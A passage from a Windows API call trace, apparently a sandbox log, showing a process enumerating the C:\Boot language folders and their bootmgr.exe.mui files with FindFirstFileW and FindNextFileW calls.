ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.435] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.435] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.435] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0272.435] GetLastError () returned 0x12 [0272.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.435] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.435] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.435] GetLastError () returned 0x12 [0272.435] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.435] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.435] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.435] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0272.435] GetLastError () returned 0x12 [0272.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.436] GetLastError () returned 0x12 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.436] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.436] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x44, dwReserved1=0x44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0272.436] GetLastError () returned 0x12 [0272.436] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0272.436] GetLastError () returned 0x12 [0272.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.436] GetLastError () returned 0x12 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.436] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.436] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0272.436] GetLastError () returned 0x12 [0272.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.437] GetLastError () returned 0x12 [0272.437] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.437] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.437] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.437] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0272.437] GetLastError () returned 0x12 [0272.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.437] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.437] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.437] GetLastError () returned 0x12 [0272.437] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.437] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.437] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.437] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0272.437] GetLastError () returned 0x12 [0272.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.437] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.437] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.437] GetLastError () returned 0x12 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.438] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.438] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.438] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0272.438] GetLastError () returned 0x12 [0272.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.438] GetLastError () returned 0x12 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.438] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.438] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.438] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0272.438] GetLastError () returned 0x12 [0272.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.438] GetLastError () returned 0x12 [0272.438] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.439] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.439] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.439] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="sv-SE", cAlternateFileName="")) returned 1 